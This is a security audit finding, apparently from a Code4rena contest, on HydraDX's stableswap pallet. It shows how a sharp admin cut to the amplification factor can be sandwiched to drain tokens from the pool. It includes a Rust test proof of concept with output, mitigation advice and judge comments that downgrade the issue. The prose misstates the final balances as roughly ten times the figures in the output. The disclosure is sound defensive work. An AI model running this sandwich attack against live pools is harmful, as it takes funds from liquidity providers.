[M12] Stableswap decrease in Amplification factor can be used to steal tokens from the pool

[c4-bot-3]

Lines of code

https://github.com/code-423n4/2024-02-hydradx/blob/603187123a20e0cb8a7ea85c6a6d718429caad8d/HydraDX-node/pallets/stableswap/src/lib.rs#L408-L453

Vulnerability details

Impact

The amplification factor can be changed by calling the update_amplification function in the pool. The admin can choose a final amplification coefficient, and the pool amplification factor will change over time to reach that value by a certain block number. There are no restrictions as to how sudden or how fast this amplification change can be.

Similar to curve protocol, the stableswap protocol math is essentially a linear combination of a constant product and a constant sum AMM. The amplification factor A basically determines the weights of each of the two components, and thus determines the current level of slippage in the pool. Drastic changes in the amplification factor results in sharp changes in the slippage of the pool, which can be used to extract value from the pool.

A POC is coded up in the section below. Here we observe the following scenario:

Lets assume a pool has been deployed with a certain value of A. Then, the admin decides to change the amplification factor A of the pool and decrease it. In this scenario, the amplification factor is changed from 10_000 to 2_000. It is shown that this amplification factor change can be sandwiched by a malicious user to extract tokens from the pool.

Proof of Concept

The POC has the following steps:

1. Pool is initialized with some liquidity
2. User BOB buys up asset_b from the pool. This is a frontrunning transaction.
3. The admin transaction lowering the Amplification factor goes in.
4. User BOB sells back the asset_b. It is shown that BOB ends up with more tokens than he started with, profiting from the sudden change in amplification factor.

Below is the test case. Scroll further down for the results.

#[test]
fn test_amplification() {
	let asset_a: AssetId = 1;
	let asset_b: AssetId = 2;

	ExtBuilder::default()
		.with_endowed_accounts(vec![
			(BOB, 1, 200 * ONE),
			(BOB, 2, 200 * ONE),
			(ALICE, 1, 200 * ONE),
			(ALICE, 2, 200 * ONE),
		])
		.with_registered_asset("one".as_bytes().to_vec(), asset_a, 12)
		.with_registered_asset("two".as_bytes().to_vec(), asset_b, 12)
		.with_pool(
			ALICE,
			PoolInfo::<AssetId, u64> {
				assets: vec![asset_a, asset_b].try_into().unwrap(),
				initial_amplification: NonZeroU16::new(10000).unwrap(),
				final_amplification: NonZeroU16::new(10000).unwrap(),
				initial_block: 0,
				final_block: 0,
				fee: Permill::from_percent(0),
			},
			InitialLiquidity {
				account: ALICE,
				assets: vec![
					AssetAmount::new(asset_a, 100 * ONE),
					AssetAmount::new(asset_b, 100 * ONE),
				],
			},
		)
		.build()
		.execute_with(|| {
			let pool_id = get_pool_id_at(0);

			let pool = <Pools<Test>>::get(pool_id).unwrap();
            let amplification = crate::Pallet::<Test>::get_amplification(&pool);
			let pool_account = pool_account(pool_id);

            println!("Initial amplification: {}", amplification);

			System::set_block_number(1);

            let initial_token_a = Tokens::free_balance(asset_a, &BOB);
            let initial_token_b = Tokens::free_balance(asset_b, &BOB);
            let pool_token_a = Tokens::free_balance(asset_a, &pool_account);
            let pool_token_b = Tokens::free_balance(asset_b, &pool_account);
            println!("Initial asset a: {}", initial_token_a);
            println!("Initial asset b: {}", initial_token_b);
            println!("Pool asset a: {}", pool_token_a);
            println!("Pool asset b: {}", pool_token_b);

            // trade 1
			assert_ok!(Stableswap::buy(
				RuntimeOrigin::signed(BOB),
				pool_id,
				asset_b,
				asset_a,
				30 * ONE,
				100 * ONE,
			));

            let trade1_token_a = Tokens::free_balance(asset_a, &BOB);
            let trade1_token_b = Tokens::free_balance(asset_b, &BOB);
            let pool_token_a = Tokens::free_balance(asset_a, &pool_account);
            let pool_token_b = Tokens::free_balance(asset_b, &pool_account);
            println!("Trade 1 asset a: {}", trade1_token_a);
            println!("Trade 1 asset b: {}", trade1_token_b);
            println!("Pool asset a: {}", pool_token_a);
            println!("Pool asset b: {}", pool_token_b);

			assert_ok!(Stableswap::update_amplification(
				RuntimeOrigin::root(),
				pool_id,
				200,
				5,
				10,
			));
			System::set_block_number(11);

			let pool = <Pools<Test>>::get(pool_id).unwrap();
            let final_amplification = crate::Pallet::<Test>::get_amplification(&pool);
            println!("Final amplification: {}", final_amplification);

            let to_sell = if trade1_token_b > initial_token_b { trade1_token_b - initial_token_b} else { trade1_token_a - initial_token_a };
            println!("Will sell: {}", to_sell);

            // trade 2
			assert_ok!(Stableswap::sell(
				RuntimeOrigin::signed(BOB),
				pool_id,
				asset_b,
				asset_a,
				to_sell,
				1 * ONE,
			));

            let trade2_token_a = Tokens::free_balance(asset_a, &BOB);
            let trade2_token_b = Tokens::free_balance(asset_b, &BOB);
            let pool_token_a = Tokens::free_balance(asset_a, &pool_account);
            let pool_token_b = Tokens::free_balance(asset_b, &pool_account);
            println!("Trade 2 asset a: {}", trade2_token_a);
            println!("Trade 2 asset b: {}", trade2_token_b);
            println!("Pool asset a: {}", pool_token_a);
            println!("Pool asset b: {}", pool_token_b);
		});
}

Results:

running 1 test
Initial amplification: 10000

Initial asset a: 200000000000000 # BOB's initial asset_a
Initial asset b: 200000000000000 # BOB's initial asset_b
Pool asset a: 100000000000000 # Pool's initial asset_a
Pool asset b: 100000000000000 # Pool's initial asset_b

Trade 1 asset a: 169999011072604 # BOB's asset_a after buying asset_b (frontrunning)
Trade 1 asset b: 230000000000000 # BOB's asset_b after buying asset_b (frontrunning)
Pool asset a: 130000988927396 # Pool's asset_a after frontrun buy
Pool asset b: 70000000000000 # Pool's asset_b after frontrun buy

Final amplification: 200
Will sell: 30000000000000 # Amount BOB will sell of asset_b

Trade 2 asset a: 200048180869067 # BOB's asset_a after selling asset_b (backrunning) (@audit note this is higher than starting amount)
Trade 2 asset b: 200000000000000 # BOB's asset_b after selling asset_b (backrunning)
Pool asset a: 99951819130933 # Pool's asset_a after BOB's backrun sell (@audit note this is lower than starting amount)
Pool asset b: 100000000000000 # Pool's asset_b after BOB's backrun sell
test tests::add_liquidity::test_amplification ... ok

This shows that while BOB started with 200 asset_a and asset_b, he ends up with 2000.48 asset_b and 2000 asset_a, extracting some value from the pool. The Pool assets are also shown to decrease, indicating that the pool has lost some tokens.

The effect of this can be amplified by using a larger trade amount for sandwiching the pool. This is a simple example to show the potential of the attack, multiple factors like the current price of the pool, depth of liquidity etc also factor into the amount profited by the sandwich attacker.

Tools Used

Substrate

Recommended Mitigation Steps

One of the reason for this attack vector is the sudden change in amplification factor. It is recommended to have a gradual change in the amplification factor, thus consider adding a minimum block number difference between the initial and final blocks for amplification change. However this doesnt complete fix the problem, just makes the change more gradual, and thus allows multiple MEV participants to gradually take profit.

Another approach that can be taken is to limit the amount the amplification factor can be changed in one go.

Assessed type

MEV

[c4-pre-sort]

0xRobocop marked the issue as sufficient quality report

[c4-pre-sort]

0xRobocop marked the issue as primary issue

[c4-sponsor]

enthusiastmartin (sponsor) disputed

[enthusiastmartin]

Suggested mitigation is already implemented. We gradually change the amplification.

[OpenCoreCH]

Centralization issue, enforcing a maximum delta could be done to alleviate it a bit, but that's a design decision.

[c4-judge]

OpenCoreCH changed the severity to QA (Quality Assurance)

[c4-judge]

OpenCoreCH marked the issue as grade-a